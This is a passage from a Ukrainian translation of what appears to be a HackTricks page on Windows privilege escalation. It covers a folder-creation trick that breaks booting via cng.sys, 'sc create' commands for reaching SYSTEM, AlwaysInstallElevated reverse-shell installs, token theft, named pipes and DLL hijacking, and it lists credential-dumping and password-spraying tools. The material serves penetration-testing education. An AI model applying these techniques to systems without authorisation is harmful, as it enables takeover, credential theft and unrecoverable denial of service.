Результат: C:\Config.Msi видалено SYSTEM.
Від Arbitrary Folder Create до постійного DoS
Скористайтеся примітивом, який дозволяє вам create an arbitrary folder as SYSTEM/admin — навіть якщо you can’t write files або set weak permissions.
Створіть folder (not a file) з назвою critical Windows driver, наприклад:
C:\Windows\System32\cng.sys
- Цей шлях зазвичай відповідає
cng.sysядровому драйверу. - Якщо ви попередньо створите його як папку, Windows не вдається завантажити фактичний драйвер під час завантаження системи.
- Потім Windows намагається завантажити
cng.sysпід час завантаження. - Воно бачить папку, не може розпізнати фактичний драйвер, і система падає або завантаження зупиняється.
- Немає запасного варіанту, і відновлення неможливе без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска).
Від High Integrity до SYSTEM
Нова служба
Якщо ви вже виконуєтесь у процесі High Integrity, шлях до SYSTEM може бути простим — просто створіть і запустіть нову службу:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Під час створення бінарного файлу служби переконайтеся, що це дійсна служба або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде завершено через 20 с, якщо це не дійсна служба.
AlwaysInstallElevated
З процесу з High Integrity ви можете спробувати увімкнути записи реєстру AlwaysInstallElevated та встановити reverse shell, використовуючи обгортку .msi.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
You can find the code here.
From SeDebug + SeImpersonate to Full Token privileges
Якщо у вас є ці token привілеї (ймовірно ви знайдете це в процесі з High Integrity), ви зможете відкрити майже будь-який процес (не protected processes) з привілеєм SeDebug, скопіювати token процесу та створити довільний процес з цим token’ом.
Зазвичай для цієї техніки обирають процес, що працює як SYSTEM з усіма token привілеями (так, можна знайти SYSTEM процеси без усіх token привілеїв).
You can find an example of code executing the proposed technique here.
Named Pipes
Цю техніку використовує meterpreter для ескалації в getsystem. Техніка полягає в тому, щоб створити pipe і потім створити/зловживати сервісом, щоб писати в цей pipe. Потім сервер, який створив pipe з використанням привілею SeImpersonate, зможе impersonate the token клієнта pipe (сервіс), отримавши привілеї SYSTEM.
Якщо ви хочете learn more about name pipes you should read this.
Якщо ви хочете прочитати приклад how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
Якщо вам вдасться hijack a dll, яку завантажує process, що працює як SYSTEM, ви зможете виконати довільний код з цими правами. Тому Dll Hijacking також корисний для такого типу privilege escalation, і, до того ж, значно легше досяжний з процесу з high integrity, оскільки він матиме write permissions у папках, що використовуються для завантаження dll.
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
Більше допомоги
Корисні інструменти
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Перевіряє на misconfigurations та чутливі файли (check here). Detected.
JAWS – Перевіряє деякі можливі misconfigurations та збирає інформацію (check here).
privesc – Перевіряє на misconfigurations
SessionGopher – Дістає збережену інформацію про сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.
Invoke-WCMDump – Витягує credentials з Credential Manager. Detected.
DomainPasswordSpray – Виконує spray зібраних паролів по домену
Inveigh – Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS спуфер та MITM інструмент.
WindowsEnum – Базова Windows privesc енумераціяSherlock ~~~~ – Пошук відомих privesc вразливостей (DEPRECATED для Watson)WINspect – Локальні перевірки (Потребує Admin прав)
Exe
Watson – Пошук відомих privesc вразливостей (потрібно компілювати з VisualStudio) (precompiled)
SeatBelt – Перелічує хост пошуком misconfigurations (більше інструмент для збору інформації ніж privesc) (потребує компіляції) (precompiled)
LaZagne – Витягує credentials з багатьох програм (precompiled exe в github)
SharpUP – Порт PowerUp на C#Beroot ~~~~ – Перевірка на misconfiguration (виконуваний файл precompiled в github). Не рекомендується. Погано працює в Win10.Windows-Privesc-Check – Перевірка можливих misconfigurations (exe з python). Не рекомендується. Погано працює в Win10.
Bat
winPEASbat – Інструмент створений на базі цього посту (не потребує accesschk для коректної роботи, але може його використовувати).
Local
Windows-Exploit-Suggester – Читає вивід systeminfo і радить робочі експлойти (локальний python)
Windows Exploit Suggester Next Generation – Читає вивід systeminfo і радить робочі експлойти (локальний python)
Meterpreter
multi/recon/local_exploit_suggestor
Вам потрібно скомпілювати проєкт з використанням правильної версії .NET (see this). Щоб побачити встановлену версію .NET на хості жертви, ви можете виконати:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Джерела
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

